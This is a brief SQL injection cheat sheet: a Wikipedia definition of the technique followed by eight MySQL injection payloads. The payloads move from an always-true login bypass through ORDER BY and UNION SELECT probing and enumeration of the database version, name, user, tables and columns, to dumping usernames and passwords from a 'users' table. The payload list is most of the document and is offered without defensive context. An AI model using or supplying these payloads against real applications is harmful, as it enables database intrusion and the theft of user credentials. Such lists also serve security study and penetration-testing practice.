SQL injection is a code injection technique, used to attack data-driven applications, in which nefarious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker). SQL injection must exploit a security vulnerability in an application’s software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. Wikipedia

' or 1=1#
1' ORDER BY 10#
1' UNION SELECT version(),2#
1' UNION SELECT version(),database()#
1' UNION SELECT version(),user()#
1' UNION ALL SELECT table_name,2 from information_schema.tables#
1' UNION ALL SELECT column_name,2 from information_schema.columns where table_name = "users"#
1' UNION ALL SELECT concat(user,char(58),password),2 from users#